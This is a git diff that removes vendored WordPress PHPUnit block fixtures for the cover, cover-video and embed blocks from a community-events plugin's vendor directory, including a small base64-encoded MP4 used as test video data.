      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.html deleted file mode 100644 index 34e8b7ad..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.json deleted file mode 100644 index 6b3ec9c1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/cover", - "isValid": true, - "attributes": { - "title": "Guten Berg!", - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "contentAlign": "center", - "hasParallax": false, - "dimRatio": 40, - "backgroundType": "image" - }, - "innerBlocks": [], - "originalContent": "
      \n

      Guten Berg!

      \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.parsed.json deleted file mode 100644 index e4c901f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.parsed.json +++ /dev/null @@ -1,23 +0,0 @@ -[ - { - "blockName": "core/cover", - "attrs": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "dimRatio": 40 - }, - "innerBlocks": [], - "innerHTML": "\n
      \n

      Guten Berg!

      \n
      \n", - "innerContent": [ - "\n
      \n

      Guten Berg!

      \n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.serialized.html deleted file mode 100644 index a6d795bb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      Guten Berg!

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.server.html deleted file mode 100644 index ba293cb7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.server.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.html deleted file mode 100644 index 5d3456e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.html +++ /dev/null @@ -1,6 +0,0 @@ - -
      - -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.json deleted file mode 100644 index ac816851..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/cover", - "isValid": true, - "attributes": { - "title": "Guten Berg!", - "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=", - "contentAlign": "center", - "hasParallax": false, - "dimRatio": 10, - "customOverlayColor": "#3615d9", - "backgroundType": "video" - }, - "innerBlocks": [], - "originalContent": "
      \n\t\n\t

      Guten Berg!

      \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json deleted file mode 100644 index 71700c25..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json +++ /dev/null @@ -1,25 +0,0 @@ -[ - { - "blockName": "core/cover", - "attrs": { - "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=", - "dimRatio": 10, - "customOverlayColor": "#3615d9", - "backgroundType": "video" - }, - "innerBlocks": [], - "innerHTML": "\n
      \n\t\n\t

      Guten Berg!

      \n
      \n", - "innerContent": [ - "\n
      \n\t\n\t

      Guten Berg!

      \n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html deleted file mode 100644 index 14786a0f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      Guten Berg!

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html deleted file mode 100644 index aa2f0267..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html +++ /dev/null @@ -1,6 +0,0 @@ - -
      - -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.html deleted file mode 100644 index 5408bbe9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.html +++ /dev/null @@ -1,6 +0,0 @@ - -
      - -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.json deleted file mode 100644 index 673cd3b7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.json +++ /dev/null @@ -1,17 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/cover", - "isValid": true, - "attributes": { - "title": "Guten Berg!", - "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=", - "contentAlign": "center", - "hasParallax": false, - "dimRatio": 40, - "backgroundType": "video" - }, - "innerBlocks": [], - "originalContent": "
      \n\t\n\t

      Guten Berg!

      \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.parsed.json deleted file mode 100644 index ad48e4fd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.parsed.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "blockName": "core/cover", - "attrs": { - "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=", - "dimRatio": 40, - "backgroundType": "video" - }, - "innerBlocks": [], - "innerHTML": "\n
      \n\t\n\t

      Guten Berg!

      \n
      \n", - "innerContent": [ - "\n
      \n\t\n\t

      Guten Berg!

      \n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.serialized.html deleted file mode 100644 index 03398311..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      Guten Berg!

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.server.html deleted file mode 100644 index 20afe156..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.server.html +++ /dev/null @@ -1,6 +0,0 @@ - -
      - -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.html deleted file mode 100644 index 211e9e11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.html +++ /dev/null @@ -1,8 +0,0 @@ - -
      -
      - https://example.com/ -
      -
      Embedded content from an example URL
      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.json deleted file mode 100644 index 916935db..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/embed", - "isValid": true, - "attributes": { - "url": "https://example.com/", - "caption": "Embedded content from an example URL", - "allowResponsive": true - }, - "innerBlocks": [], - "originalContent": "
      \n
      \n https://example.com/\n
      \n
      Embedded content from an example URL
      \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.parsed.json deleted file mode 100644 index 43bbfac8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.parsed.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "blockName": "core/embed", - "attrs": { - "url": "https://example.com/" - }, - "innerBlocks": [], - "innerHTML": "\n
      \n
      \n https://example.com/\n
      \n
      Embedded content from an example URL
      \n
      \n", - "innerContent": [ - "\n
      \n
      \n https://example.com/\n
      \n
      Embedded content from an example URL
      \n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.serialized.html deleted file mode 100644 index 3906dd45..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      -https://example.com/ -
      Embedded content from an example URL
